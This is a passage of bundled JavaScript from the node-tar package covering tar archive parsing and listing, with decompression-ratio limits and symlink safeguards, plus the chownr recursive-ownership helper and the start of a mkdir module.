          this.#slurp(ex);
        }
        if (gex) {
          this.#slurp(gex, true);
        }
      }
      write(data) {
        const writeLen = data.length;
        if (writeLen &gt; this.blockRemain) {
          throw new Error(&quot;writing more to entry than is appropriate&quot;);
        }
        const r = this.remain;
        const br = this.blockRemain;
        this.remain = Math.max(0, r - writeLen);
        this.blockRemain = Math.max(0, br - writeLen);
        if (this.ignore) {
          return true;
        }
        if (r &gt;= writeLen) {
          return super.write(data);
        }
        return super.write(data.subarray(0, r));
      }
      #slurp(ex, gex = false) {
        if (ex.path)
          ex.path = normalizeWindowsPath(ex.path);
        if (ex.linkpath)
          ex.linkpath = normalizeWindowsPath(ex.linkpath);
        Object.assign(this, Object.fromEntries(Object.entries(ex).filter(([k, v]) =&gt; {
          return !(v === null || v === void 0 || k === &quot;path&quot; &amp;&amp; gex);
        })));
      }
    };
  }
});

// node_modules/tar/dist/esm/warn-method.js
var warnMethod;
var init_warn_method = __esm({
  &quot;node_modules/tar/dist/esm/warn-method.js&quot;() {
    warnMethod = (self2, code2, message, data = {}) =&gt; {
      if (self2.file) {
        data.file = self2.file;
      }
      if (self2.cwd) {
        data.cwd = self2.cwd;
      }
      data.code = message instanceof Error &amp;&amp; message.code || code2;
      data.tarCode = code2;
      if (!self2.strict &amp;&amp; data.recoverable !== false) {
        if (message instanceof Error) {
          data = Object.assign(message, data);
          message = message.message;
        }
        self2.emit(&quot;warn&quot;, code2, message, data);
      } else if (message instanceof Error) {
        self2.emit(&quot;error&quot;, Object.assign(message, data));
      } else {
        self2.emit(&quot;error&quot;, Object.assign(new Error(`${code2}: ${message}`), data));
      }
    };
  }
});

// node_modules/tar/dist/esm/parse.js
var import_events3, maxMetaEntrySize, gzipHeader, zstdHeader, ZIP_HEADER_LEN, STATE, WRITEENTRY, READENTRY, NEXTENTRY, PROCESSENTRY, EX, GEX, META, EMITMETA, BUFFER2, QUEUE, ENDED, EMITTEDEND, EMIT, UNZIP, CONSUMECHUNK, CONSUMECHUNKSUB, CONSUMEBODY, CONSUMEMETA, CONSUMEHEADER, CONSUMING, BUFFERCONCAT, MAYBEEND, WRITING, ABORTED2, DONE, SAW_VALID_ENTRY, SAW_NULL_BLOCK, SAW_EOF, CLOSESTREAM, MAX_DECOMPRESSION_RATIO, COMPRESSEDBYTESREAD, DECOMPRESSEDBYTESREAD, CHECKDECOMPRESSIONRATIO, noop2, Parser;
var init_parse = __esm({
  &quot;node_modules/tar/dist/esm/parse.js&quot;() {
    import_events3 = require(&quot;events&quot;);
    init_esm3();
    init_header();
    init_pax();
    init_read_entry();
    init_warn_method();
    maxMetaEntrySize = 1024 * 1024;
    gzipHeader = Buffer.from([31, 139]);
    zstdHeader = Buffer.from([40, 181, 47, 253]);
    ZIP_HEADER_LEN = Math.max(gzipHeader.length, zstdHeader.length);
    STATE = /* @__PURE__ */ Symbol(&quot;state&quot;);
    WRITEENTRY = /* @__PURE__ */ Symbol(&quot;writeEntry&quot;);
    READENTRY = /* @__PURE__ */ Symbol(&quot;readEntry&quot;);
    NEXTENTRY = /* @__PURE__ */ Symbol(&quot;nextEntry&quot;);
    PROCESSENTRY = /* @__PURE__ */ Symbol(&quot;processEntry&quot;);
    EX = /* @__PURE__ */ Symbol(&quot;extendedHeader&quot;);
    GEX = /* @__PURE__ */ Symbol(&quot;globalExtendedHeader&quot;);
    META = /* @__PURE__ */ Symbol(&quot;meta&quot;);
    EMITMETA = /* @__PURE__ */ Symbol(&quot;emitMeta&quot;);
    BUFFER2 = /* @__PURE__ */ Symbol(&quot;buffer&quot;);
    QUEUE = /* @__PURE__ */ Symbol(&quot;queue&quot;);
    ENDED = /* @__PURE__ */ Symbol(&quot;ended&quot;);
    EMITTEDEND = /* @__PURE__ */ Symbol(&quot;emittedEnd&quot;);
    EMIT = /* @__PURE__ */ Symbol(&quot;emit&quot;);
    UNZIP = /* @__PURE__ */ Symbol(&quot;unzip&quot;);
    CONSUMECHUNK = /* @__PURE__ */ Symbol(&quot;consumeChunk&quot;);
    CONSUMECHUNKSUB = /* @__PURE__ */ Symbol(&quot;consumeChunkSub&quot;);
    CONSUMEBODY = /* @__PURE__ */ Symbol(&quot;consumeBody&quot;);
    CONSUMEMETA = /* @__PURE__ */ Symbol(&quot;consumeMeta&quot;);
    CONSUMEHEADER = /* @__PURE__ */ Symbol(&quot;consumeHeader&quot;);
    CONSUMING = /* @__PURE__ */ Symbol(&quot;consuming&quot;);
    BUFFERCONCAT = /* @__PURE__ */ Symbol(&quot;bufferConcat&quot;);
    MAYBEEND = /* @__PURE__ */ Symbol(&quot;maybeEnd&quot;);
    WRITING = /* @__PURE__ */ Symbol(&quot;writing&quot;);
    ABORTED2 = /* @__PURE__ */ Symbol(&quot;aborted&quot;);
    DONE = /* @__PURE__ */ Symbol(&quot;onDone&quot;);
    SAW_VALID_ENTRY = /* @__PURE__ */ Symbol(&quot;sawValidEntry&quot;);
    SAW_NULL_BLOCK = /* @__PURE__ */ Symbol(&quot;sawNullBlock&quot;);
    SAW_EOF = /* @__PURE__ */ Symbol(&quot;sawEOF&quot;);
    CLOSESTREAM = /* @__PURE__ */ Symbol(&quot;closeStream&quot;);
    MAX_DECOMPRESSION_RATIO = 1e3;
    COMPRESSEDBYTESREAD = /* @__PURE__ */ Symbol(&quot;compressedBytesRead&quot;);
    DECOMPRESSEDBYTESREAD = /* @__PURE__ */ Symbol(&quot;decompressedBytesRead&quot;);
    CHECKDECOMPRESSIONRATIO = /* @__PURE__ */ Symbol(&quot;checkDecompressionRatio&quot;);
    noop2 = () =&gt; true;
    Parser = class extends import_events3.EventEmitter {
      file;
      strict;
      maxMetaEntrySize;
      filter;
      brotli;
      zstd;
      maxDecompressionRatio;
      writable = true;
      readable = false;
      [QUEUE] = [];
      [BUFFER2];
      [READENTRY];
      [WRITEENTRY];
      [STATE] = &quot;begin&quot;;
      [META] = &quot;&quot;;
      [EX];
      [GEX];
      [ENDED] = false;
      [UNZIP];
      [ABORTED2] = false;
      [SAW_VALID_ENTRY];
      [SAW_NULL_BLOCK] = false;
      [SAW_EOF] = false;
      [WRITING] = false;
      [CONSUMING] = false;
      [EMITTEDEND] = false;
      [COMPRESSEDBYTESREAD] = 0;
      [DECOMPRESSEDBYTESREAD] = 0;
      constructor(opt = {}) {
        super();
        this.file = opt.file || &quot;&quot;;
        this.on(DONE, () =&gt; {
          if (this[STATE] === &quot;begin&quot; || this[SAW_VALID_ENTRY] === false) {
            this.warn(&quot;TAR_BAD_ARCHIVE&quot;, &quot;Unrecognized archive format&quot;);
          }
        });
        if (opt.ondone) {
          this.on(DONE, opt.ondone);
        } else {
          this.on(DONE, () =&gt; {
            this.emit(&quot;prefinish&quot;);
            this.emit(&quot;finish&quot;);
            this.emit(&quot;end&quot;);
          });
        }
        this.strict = !!opt.strict;
        this.maxDecompressionRatio = typeof opt.maxDecompressionRatio === &quot;number&quot; ? opt.maxDecompressionRatio : MAX_DECOMPRESSION_RATIO;
        this.maxMetaEntrySize = opt.maxMetaEntrySize || maxMetaEntrySize;
        this.filter = typeof opt.filter === &quot;function&quot; ? opt.filter : noop2;
        const isTBR = opt.file &amp;&amp; (opt.file.endsWith(&quot;.tar.br&quot;) || opt.file.endsWith(&quot;.tbr&quot;));
        this.brotli = !(opt.gzip || opt.zstd) &amp;&amp; opt.brotli !== void 0 ? opt.brotli : isTBR ? void 0 : false;
        const isTZST = opt.file &amp;&amp; (opt.file.endsWith(&quot;.tar.zst&quot;) || opt.file.endsWith(&quot;.tzst&quot;));
        this.zstd = !(opt.gzip || opt.brotli) &amp;&amp; opt.zstd !== void 0 ? opt.zstd : isTZST ? true : void 0;
        this.on(&quot;end&quot;, () =&gt; this[CLOSESTREAM]());
        if (typeof opt.onwarn === &quot;function&quot;) {
          this.on(&quot;warn&quot;, opt.onwarn);
        }
        if (typeof opt.onReadEntry === &quot;function&quot;) {
          this.on(&quot;entry&quot;, opt.onReadEntry);
        }
      }
      warn(code2, message, data = {}) {
        warnMethod(this, code2, message, data);
      }
      [CONSUMEHEADER](chunk, position) {
        if (this[SAW_VALID_ENTRY] === void 0) {
          this[SAW_VALID_ENTRY] = false;
        }
        let header;
        try {
          header = new Header(chunk, position, this[EX], this[GEX]);
        } catch (er) {
          return this.warn(&quot;TAR_ENTRY_INVALID&quot;, er);
        }
        if (header.nullBlock) {
          if (this[SAW_NULL_BLOCK]) {
            this[SAW_EOF] = true;
            if (this[STATE] === &quot;begin&quot;) {
              this[STATE] = &quot;header&quot;;
            }
            this[EMIT](&quot;eof&quot;);
          } else {
            this[SAW_NULL_BLOCK] = true;
            this[EMIT](&quot;nullBlock&quot;);
          }
        } else {
          this[SAW_NULL_BLOCK] = false;
          if (!header.cksumValid) {
            this.warn(&quot;TAR_ENTRY_INVALID&quot;, &quot;checksum failure&quot;, { header });
          } else if (!header.path) {
            this.warn(&quot;TAR_ENTRY_INVALID&quot;, &quot;path is required&quot;, { header });
          } else {
            const type = header.type;
            if (/^(Symbolic)?Link$/.test(type) &amp;&amp; !header.linkpath) {
              this.warn(&quot;TAR_ENTRY_INVALID&quot;, &quot;linkpath required&quot;, {
                header
              });
            } else if (!/^(Symbolic)?Link$/.test(type) &amp;&amp; !/^(Global)?ExtendedHeader$/.test(type) &amp;&amp; header.linkpath) {
              this.warn(&quot;TAR_ENTRY_INVALID&quot;, &quot;linkpath forbidden&quot;, {
                header
              });
            } else {
              const entry = this[WRITEENTRY] = new ReadEntry(header, this[EX], this[GEX]);
              if (!this[SAW_VALID_ENTRY]) {
                if (entry.remain) {
                  const onend = () =&gt; {
                    if (!entry.invalid) {
                      this[SAW_VALID_ENTRY] = true;
                    }
                  };
                  entry.on(&quot;end&quot;, onend);
                } else {
                  this[SAW_VALID_ENTRY] = true;
                }
              }
              if (entry.meta) {
                if (entry.size &gt; this.maxMetaEntrySize) {
                  entry.ignore = true;
                  this[EMIT](&quot;ignoredEntry&quot;, entry);
                  this[STATE] = &quot;ignore&quot;;
                  entry.resume();
                } else if (entry.size &gt; 0) {
                  this[META] = &quot;&quot;;
                  entry.on(&quot;data&quot;, (c) =&gt; this[META] += c);
                  this[STATE] = &quot;meta&quot;;
                }
              } else {
                this[EX] = void 0;
                entry.ignore = entry.ignore || !this.filter(entry.path, entry);
                if (entry.ignore) {
                  this[EMIT](&quot;ignoredEntry&quot;, entry);
                  this[STATE] = entry.remain ? &quot;ignore&quot; : &quot;header&quot;;
                  entry.resume();
                } else {
                  if (entry.remain) {
                    this[STATE] = &quot;body&quot;;
                  } else {
                    this[STATE] = &quot;header&quot;;
                    entry.end();
                  }
                  if (!this[READENTRY]) {
                    this[QUEUE].push(entry);
                    this[NEXTENTRY]();
                  } else {
                    this[QUEUE].push(entry);
                  }
                }
              }
            }
          }
        }
      }
      [CLOSESTREAM]() {
        queueMicrotask(() =&gt; this.emit(&quot;close&quot;));
      }
      [PROCESSENTRY](entry) {
        let go = true;
        if (!entry) {
          this[READENTRY] = void 0;
          go = false;
        } else if (Array.isArray(entry)) {
          const [ev, ...args] = entry;
          this.emit(ev, ...args);
        } else {
          this[READENTRY] = entry;
          this.emit(&quot;entry&quot;, entry);
          if (!entry.emittedEnd) {
            entry.on(&quot;end&quot;, () =&gt; this[NEXTENTRY]());
            go = false;
          }
        }
        return go;
      }
      [NEXTENTRY]() {
        do {
        } while (this[PROCESSENTRY](this[QUEUE].shift()));
        if (this[QUEUE].length === 0) {
          const re = this[READENTRY];
          const drainNow = !re || re.flowing || re.size === re.remain;
          if (drainNow) {
            if (!this[WRITING]) {
              this.emit(&quot;drain&quot;);
            }
          } else {
            re.once(&quot;drain&quot;, () =&gt; this.emit(&quot;drain&quot;));
          }
        }
      }
      [CONSUMEBODY](chunk, position) {
        const entry = this[WRITEENTRY];
        if (!entry) {
          throw new Error(&quot;attempt to consume body without entry??&quot;);
        }
        const br = entry.blockRemain ?? 0;
        const c = br &gt;= chunk.length &amp;&amp; position === 0 ? chunk : chunk.subarray(position, position + br);
        entry.write(c);
        if (!entry.blockRemain) {
          this[STATE] = &quot;header&quot;;
          this[WRITEENTRY] = void 0;
          entry.end();
        }
        return c.length;
      }
      [CONSUMEMETA](chunk, position) {
        const entry = this[WRITEENTRY];
        const ret = this[CONSUMEBODY](chunk, position);
        if (!this[WRITEENTRY] &amp;&amp; entry) {
          this[EMITMETA](entry);
        }
        return ret;
      }
      [EMIT](ev, data, extra) {
        if (this[QUEUE].length === 0 &amp;&amp; !this[READENTRY]) {
          this.emit(ev, data, extra);
        } else {
          this[QUEUE].push([ev, data, extra]);
        }
      }
      [EMITMETA](entry) {
        this[EMIT](&quot;meta&quot;, this[META]);
        switch (entry.type) {
          case &quot;ExtendedHeader&quot;:
          case &quot;OldExtendedHeader&quot;:
            this[EX] = Pax.parse(this[META], this[EX], false);
            break;
          case &quot;GlobalExtendedHeader&quot;:
            this[GEX] = Pax.parse(this[META], this[GEX], true);
            break;
          case &quot;NextFileHasLongPath&quot;:
          case &quot;OldGnuLongPath&quot;: {
            const ex = this[EX] ?? /* @__PURE__ */ Object.create(null);
            this[EX] = ex;
            ex.path = this[META].replace(/\0.*/, &quot;&quot;);
            break;
          }
          case &quot;NextFileHasLongLinkpath&quot;: {
            const ex = this[EX] || /* @__PURE__ */ Object.create(null);
            this[EX] = ex;
            ex.linkpath = this[META].replace(/\0.*/, &quot;&quot;);
            break;
          }
          /* c8 ignore start */
          default:
            throw new Error(&quot;unknown meta: &quot; + entry.type);
        }
      }
      abort(error) {
        if (this[ABORTED2]) {
          return;
        }
        if (this[UNZIP]) {
          const u = this[UNZIP];
          u.write = () =&gt; true;
          u.end = () =&gt; u;
          u.emit = () =&gt; false;
          u.destroy?.();
        }
        this[ABORTED2] = true;
        this.emit(&quot;abort&quot;, error);
        this.warn(&quot;TAR_ABORT&quot;, error, { recoverable: false });
      }
      [CHECKDECOMPRESSIONRATIO](chunk) {
        this[DECOMPRESSEDBYTESREAD] += chunk.length;
        const ratio = this[DECOMPRESSEDBYTESREAD] / this[COMPRESSEDBYTESREAD];
        if (ratio &gt; this.maxDecompressionRatio) {
          this.abort(new Error(`max decompression ratio exceeded: ${ratio.toFixed(2)} &gt; ${this.maxDecompressionRatio}`));
          return false;
        }
        return true;
      }
      write(chunk, encoding, cb) {
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (typeof chunk === &quot;string&quot;) {
          chunk = Buffer.from(
            chunk,
            /* c8 ignore next */
            typeof encoding === &quot;string&quot; ? encoding : &quot;utf8&quot;
          );
        }
        if (this[ABORTED2]) {
          cb?.();
          return false;
        }
        const needSniff = this[UNZIP] === void 0 || this.brotli === void 0 &amp;&amp; this[UNZIP] === false;
        if (needSniff &amp;&amp; chunk) {
          if (this[BUFFER2]) {
            chunk = Buffer.concat([this[BUFFER2], chunk]);
            this[BUFFER2] = void 0;
          }
          if (chunk.length &lt; ZIP_HEADER_LEN) {
            this[BUFFER2] = chunk;
            cb?.();
            return true;
          }
          for (let i = 0; this[UNZIP] === void 0 &amp;&amp; i &lt; gzipHeader.length; i++) {
            if (chunk[i] !== gzipHeader[i]) {
              this[UNZIP] = false;
            }
          }
          let isZstd = false;
          if (this[UNZIP] === false &amp;&amp; this.zstd !== false) {
            isZstd = true;
            for (let i = 0; i &lt; zstdHeader.length; i++) {
              if (chunk[i] !== zstdHeader[i]) {
                isZstd = false;
                break;
              }
            }
          }
          const maybeBrotli = this.brotli === void 0 &amp;&amp; !isZstd;
          if (this[UNZIP] === false &amp;&amp; maybeBrotli) {
            if (chunk.length &lt; 512) {
              if (this[ENDED]) {
                this.brotli = true;
              } else {
                this[BUFFER2] = chunk;
                cb?.();
                return true;
              }
            } else {
              try {
                new Header(chunk.subarray(0, 512));
                this.brotli = false;
              } catch (_) {
                this.brotli = true;
              }
            }
          }
          if (this[UNZIP] === void 0 || this[UNZIP] === false &amp;&amp; (this.brotli || isZstd)) {
            const ended = this[ENDED];
            this[ENDED] = false;
            this[UNZIP] = this[UNZIP] === void 0 ? new Unzip({}) : isZstd ? new ZstdDecompress({}) : new BrotliDecompress({});
            this[UNZIP].on(&quot;data&quot;, (chunk2) =&gt; {
              if (this[CHECKDECOMPRESSIONRATIO](chunk2)) {
                this[CONSUMECHUNK](chunk2);
              }
            });
            this[UNZIP].on(&quot;error&quot;, (er) =&gt; {
              if (!this[ABORTED2]) {
                this.abort(er);
              }
            });
            this[UNZIP].on(&quot;end&quot;, () =&gt; {
              this[ENDED] = true;
              this[CONSUMECHUNK]();
            });
            this[WRITING] = true;
            this[COMPRESSEDBYTESREAD] += chunk.length;
            const ret2 = !!this[UNZIP][ended ? &quot;end&quot; : &quot;write&quot;](chunk);
            this[WRITING] = false;
            cb?.();
            return ret2;
          }
        }
        this[WRITING] = true;
        if (this[UNZIP]) {
          this[COMPRESSEDBYTESREAD] += chunk.length;
          this[UNZIP].write(chunk);
        } else {
          this[CONSUMECHUNK](chunk);
        }
        this[WRITING] = false;
        const ret = this[QUEUE].length &gt; 0 ? false : this[READENTRY] ? this[READENTRY].flowing : true;
        if (!ret &amp;&amp; this[QUEUE].length === 0) {
          this[READENTRY]?.once(&quot;drain&quot;, () =&gt; this.emit(&quot;drain&quot;));
        }
        cb?.();
        return ret;
      }
      [BUFFERCONCAT](c) {
        if (c &amp;&amp; !this[ABORTED2]) {
          this[BUFFER2] = this[BUFFER2] ? Buffer.concat([this[BUFFER2], c]) : c;
        }
      }
      [MAYBEEND]() {
        if (this[ENDED] &amp;&amp; !this[EMITTEDEND] &amp;&amp; !this[ABORTED2] &amp;&amp; !this[CONSUMING]) {
          this[EMITTEDEND] = true;
          const entry = this[WRITEENTRY];
          if (entry?.blockRemain) {
            const have = this[BUFFER2] ? this[BUFFER2].length : 0;
            this.warn(&quot;TAR_BAD_ARCHIVE&quot;, `Truncated input (needed ${entry.blockRemain} more bytes, only ${have} available)`, { entry });
            if (this[BUFFER2]) {
              entry.write(this[BUFFER2]);
            }
            entry.end();
          }
          this[EMIT](DONE);
        }
      }
      [CONSUMECHUNK](chunk) {
        if (this[CONSUMING] &amp;&amp; chunk) {
          this[BUFFERCONCAT](chunk);
        } else if (!chunk &amp;&amp; !this[BUFFER2]) {
          this[MAYBEEND]();
        } else if (chunk) {
          this[CONSUMING] = true;
          if (this[BUFFER2]) {
            this[BUFFERCONCAT](chunk);
            const c = this[BUFFER2];
            this[BUFFER2] = void 0;
            this[CONSUMECHUNKSUB](c);
          } else {
            this[CONSUMECHUNKSUB](chunk);
          }
          while (this[BUFFER2] &amp;&amp; this[BUFFER2]?.length &gt;= 512 &amp;&amp; !this[ABORTED2] &amp;&amp; !this[SAW_EOF]) {
            const c = this[BUFFER2];
            this[BUFFER2] = void 0;
            this[CONSUMECHUNKSUB](c);
          }
          this[CONSUMING] = false;
        }
        if (!this[BUFFER2] || this[ENDED]) {
          this[MAYBEEND]();
        }
      }
      [CONSUMECHUNKSUB](chunk) {
        let position = 0;
        const length = chunk.length;
        while (position + 512 &lt;= length &amp;&amp; !this[ABORTED2] &amp;&amp; !this[SAW_EOF]) {
          switch (this[STATE]) {
            case &quot;begin&quot;:
            case &quot;header&quot;:
              this[CONSUMEHEADER](chunk, position);
              position += 512;
              break;
            case &quot;ignore&quot;:
            case &quot;body&quot;:
              position += this[CONSUMEBODY](chunk, position);
              break;
            case &quot;meta&quot;:
              position += this[CONSUMEMETA](chunk, position);
              break;
            /* c8 ignore start */
            default:
              throw new Error(&quot;invalid state: &quot; + this[STATE]);
          }
        }
        if (position &lt; length) {
          this[BUFFER2] = this[BUFFER2] ? Buffer.concat([chunk.subarray(position), this[BUFFER2]]) : chunk.subarray(position);
        }
      }
      end(chunk, encoding, cb) {
        if (typeof chunk === &quot;function&quot;) {
          cb = chunk;
          encoding = void 0;
          chunk = void 0;
        }
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (typeof chunk === &quot;string&quot;) {
          chunk = Buffer.from(chunk, encoding);
        }
        if (cb)
          this.once(&quot;finish&quot;, cb);
        if (!this[ABORTED2]) {
          if (this[UNZIP]) {
            if (chunk) {
              this[COMPRESSEDBYTESREAD] += chunk.length;
              this[UNZIP].write(chunk);
            }
            this[UNZIP].end();
          } else {
            this[ENDED] = true;
            if (this.brotli === void 0 || this.zstd === void 0)
              chunk = chunk || Buffer.alloc(0);
            if (chunk)
              this.write(chunk);
            this[MAYBEEND]();
          }
        }
        return this;
      }
    };
  }
});

// node_modules/tar/dist/esm/strip-trailing-slashes.js
var stripTrailingSlashes;
var init_strip_trailing_slashes = __esm({
  &quot;node_modules/tar/dist/esm/strip-trailing-slashes.js&quot;() {
    stripTrailingSlashes = (str) =&gt; {
      let i = str.length - 1;
      let slashesStart = -1;
      while (i &gt; -1 &amp;&amp; str.charAt(i) === &quot;/&quot;) {
        slashesStart = i;
        i--;
      }
      return slashesStart === -1 ? str : str.slice(0, slashesStart);
    };
  }
});

// node_modules/tar/dist/esm/list.js
var list_exports = {};
__export(list_exports, {
  filesFilter: () =&gt; filesFilter,
  list: () =&gt; list
});
var import_node_fs, import_path2, onReadEntryFunction, filesFilter, listFileSync, listFile, list;
var init_list = __esm({
  &quot;node_modules/tar/dist/esm/list.js&quot;() {
    init_esm2();
    import_node_fs = __toESM(require(&quot;node:fs&quot;), 1);
    import_path2 = require(&quot;path&quot;);
    init_make_command();
    init_parse();
    init_strip_trailing_slashes();
    onReadEntryFunction = (opt) =&gt; {
      const onReadEntry = opt.onReadEntry;
      opt.onReadEntry = onReadEntry ? (e) =&gt; {
        onReadEntry(e);
        e.resume();
      } : (e) =&gt; e.resume();
    };
    filesFilter = (opt, files) =&gt; {
      const map = new Map(files.map((f) =&gt; [stripTrailingSlashes(f), true]));
      const filter = opt.filter;
      const MAX2 = 100;
      const mapHas = (file, r = &quot;&quot;, depth = 0) =&gt; {
        if (depth &gt;= MAX2) {
          map.set(file, false);
          return false;
        }
        const root = r || (0, import_path2.parse)(file).root || &quot;.&quot;;
        let ret;
        if (file === root)
          ret = false;
        else {
          const m = map.get(file);
          ret = m !== void 0 ? m : mapHas((0, import_path2.dirname)(file), root, depth + 1);
        }
        map.set(file, ret);
        return ret;
      };
      opt.filter = filter ? (file, entry) =&gt; filter(file, entry) &amp;&amp; mapHas(stripTrailingSlashes(file)) : (file) =&gt; mapHas(stripTrailingSlashes(file));
    };
    listFileSync = (opt) =&gt; {
      const p = new Parser(opt);
      const file = opt.file;
      let fd;
      try {
        fd = import_node_fs.default.openSync(file, &quot;r&quot;);
        const stat = import_node_fs.default.fstatSync(fd);
        const readSize = opt.maxReadSize || 16 * 1024 * 1024;
        if (stat.size &lt; readSize) {
          const buf = Buffer.allocUnsafe(stat.size);
          const read = import_node_fs.default.readSync(fd, buf, 0, stat.size, 0);
          p.end(read === buf.byteLength ? buf : buf.subarray(0, read));
        } else {
          let pos2 = 0;
          const buf = Buffer.allocUnsafe(readSize);
          while (pos2 &lt; stat.size) {
            const bytesRead = import_node_fs.default.readSync(fd, buf, 0, readSize, pos2);
            if (bytesRead === 0)
              break;
            pos2 += bytesRead;
            p.write(buf.subarray(0, bytesRead));
          }
          p.end();
        }
      } finally {
        if (typeof fd === &quot;number&quot;) {
          try {
            import_node_fs.default.closeSync(fd);
          } catch {
          }
        }
      }
    };
    listFile = (opt, _files) =&gt; {
      const parse4 = new Parser(opt);
      const readSize = opt.maxReadSize || 16 * 1024 * 1024;
      const file = opt.file;
      const p = new Promise((resolve, reject) =&gt; {
        parse4.on(&quot;error&quot;, reject);
        parse4.on(&quot;end&quot;, resolve);
        import_node_fs.default.stat(file, (er, stat) =&gt; {
          if (er) {
            reject(er);
          } else {
            const stream = new ReadStream(file, {
              readSize,
              size: stat.size
            });
            stream.on(&quot;error&quot;, reject);
            stream.pipe(parse4);
          }
        });
      });
      return p;
    };
    list = makeCommand(listFileSync, listFile, (opt) =&gt; new Parser(opt), (opt) =&gt; new Parser(opt), (opt, files) =&gt; {
      if (files?.length)
        filesFilter(opt, files);
      if (!opt.noResume)
        onReadEntryFunction(opt);
    });
  }
});

// node_modules/tar/dist/esm/get-write-flag.js
var import_fs3, platform2, isWindows, O_CREAT, O_NOFOLLOW, O_TRUNC, O_WRONLY, UV_FS_O_FILEMAP, fMapEnabled, fMapLimit, fMapFlag, noFollowFlag, getWriteFlag;
var init_get_write_flag = __esm({
  &quot;node_modules/tar/dist/esm/get-write-flag.js&quot;() {
    import_fs3 = __toESM(require(&quot;fs&quot;), 1);
    platform2 = process.env.__FAKE_PLATFORM__ || process.platform;
    isWindows = platform2 === &quot;win32&quot;;
    ({ O_CREAT, O_NOFOLLOW, O_TRUNC, O_WRONLY } = import_fs3.default.constants);
    UV_FS_O_FILEMAP = Number(process.env.__FAKE_FS_O_FILENAME__) || import_fs3.default.constants.UV_FS_O_FILEMAP || 0;
    fMapEnabled = isWindows &amp;&amp; !!UV_FS_O_FILEMAP;
    fMapLimit = 512 * 1024;
    fMapFlag = UV_FS_O_FILEMAP | O_TRUNC | O_CREAT | O_WRONLY;
    noFollowFlag = !isWindows &amp;&amp; typeof O_NOFOLLOW === &quot;number&quot; ? O_NOFOLLOW | O_TRUNC | O_CREAT | O_WRONLY : null;
    getWriteFlag = noFollowFlag !== null ? () =&gt; noFollowFlag : !fMapEnabled ? () =&gt; &quot;w&quot; : (size) =&gt; size &lt; fMapLimit ? fMapFlag : &quot;w&quot;;
  }
});

// node_modules/chownr/dist/esm/index.js
var import_node_fs2, import_node_path3, lchownSync, chown, chownrKid, chownr, chownrKidSync, chownrSync;
var init_esm4 = __esm({
  &quot;node_modules/chownr/dist/esm/index.js&quot;() {
    import_node_fs2 = __toESM(require(&quot;node:fs&quot;), 1);
    import_node_path3 = __toESM(require(&quot;node:path&quot;), 1);
    lchownSync = (path16, uid, gid) =&gt; {
      try {
        return import_node_fs2.default.lchownSync(path16, uid, gid);
      } catch (er) {
        if (er?.code !== &quot;ENOENT&quot;)
          throw er;
      }
    };
    chown = (cpath, uid, gid, cb) =&gt; {
      import_node_fs2.default.lchown(cpath, uid, gid, (er) =&gt; {
        cb(er &amp;&amp; er?.code !== &quot;ENOENT&quot; ? er : null);
      });
    };
    chownrKid = (p, child, uid, gid, cb) =&gt; {
      if (child.isDirectory()) {
        chownr(import_node_path3.default.resolve(p, child.name), uid, gid, (er) =&gt; {
          if (er)
            return cb(er);
          const cpath = import_node_path3.default.resolve(p, child.name);
          chown(cpath, uid, gid, cb);
        });
      } else {
        const cpath = import_node_path3.default.resolve(p, child.name);
        chown(cpath, uid, gid, cb);
      }
    };
    chownr = (p, uid, gid, cb) =&gt; {
      import_node_fs2.default.readdir(p, { withFileTypes: true }, (er, children) =&gt; {
        if (er) {
          if (er.code === &quot;ENOENT&quot;)
            return cb();
          else if (er.code !== &quot;ENOTDIR&quot; &amp;&amp; er.code !== &quot;ENOTSUP&quot;)
            return cb(er);
        }
        if (er || !children.length)
          return chown(p, uid, gid, cb);
        let len = children.length;
        let errState = null;
        const then = (er2) =&gt; {
          if (errState)
            return;
          if (er2)
            return cb(errState = er2);
          if (--len === 0)
            return chown(p, uid, gid, cb);
        };
        for (const child of children) {
          chownrKid(p, child, uid, gid, then);
        }
      });
    };
    chownrKidSync = (p, child, uid, gid) =&gt; {
      if (child.isDirectory())
        chownrSync(import_node_path3.default.resolve(p, child.name), uid, gid);
      lchownSync(import_node_path3.default.resolve(p, child.name), uid, gid);
    };
    chownrSync = (p, uid, gid) =&gt; {
      let children;
      try {
        children = import_node_fs2.default.readdirSync(p, { withFileTypes: true });
      } catch (er) {
        const e = er;
        if (e?.code === &quot;ENOENT&quot;)
          return;
        else if (e?.code === &quot;ENOTDIR&quot; || e?.code === &quot;ENOTSUP&quot;)
          return lchownSync(p, uid, gid);
        else
          throw e;
      }
      for (const child of children) {
        chownrKidSync(p, child, uid, gid);
      }
      return lchownSync(p, uid, gid);
    };
  }
});

// node_modules/tar/dist/esm/cwd-error.js
var CwdError;
var init_cwd_error = __esm({
  &quot;node_modules/tar/dist/esm/cwd-error.js&quot;() {
    CwdError = class extends Error {
      path;
      code;
      syscall = &quot;chdir&quot;;
      constructor(path16, code2) {
        super(`${code2}: Cannot cd into &#039;${path16}&#039;`);
        this.path = path16;
        this.code = code2;
      }
      get name() {
        return &quot;CwdError&quot;;
      }
    };
  }
});

// node_modules/tar/dist/esm/symlink-error.js
var SymlinkError;
var init_symlink_error = __esm({
  &quot;node_modules/tar/dist/esm/symlink-error.js&quot;() {
    SymlinkError = class extends Error {
      path;
      symlink;
      syscall = &quot;symlink&quot;;
      code = &quot;TAR_SYMLINK_ERROR&quot;;
      constructor(symlink, path16) {
        super(&quot;TAR_SYMLINK_ERROR: Cannot extract through symbolic link&quot;);
        this.symlink = symlink;
        this.path = path16;
      }
      get name() {
        return &quot;SymlinkError&quot;;
      }
    };
  }
});

// node_modules/tar/dist/esm/mkdir.js
var import_node_fs3, import_promises, import_node_path4, checkCwd, mkdir, mkdir_, onmkdir, checkCwdSync, mkdirSync2;
var init_mkdir = __esm({
  &quot;node_modules/tar/dist/esm/mkdir.js&quot;() {
    init_esm4();
    import_node_fs3 = __toESM(require(&quot;node:fs&quot;), 1);
    import_promises = __toESM(require(&quot;node:fs/promises&quot;), 1);
    import_node_path4 = __toESM(require(&quot;node:path&quot;), 1);
    init_cwd_error();
    init_normalize_windows_path();
    init_symlink_error();
    checkCwd = (dir, cb) =&gt; {
      import_node_fs3.default.stat(dir, (er, st) =&gt; {
        if (er || !st.isDirectory()) {
          er = new CwdError(dir, er?.code || &quot;ENOTDIR&quot;);
        }
        cb(er);
      });
    };
    mkdir = (dir, opt, cb) =&gt; {
      dir = normalizeWindowsPath(dir);
      const umask2 = opt.umask ?? 18;
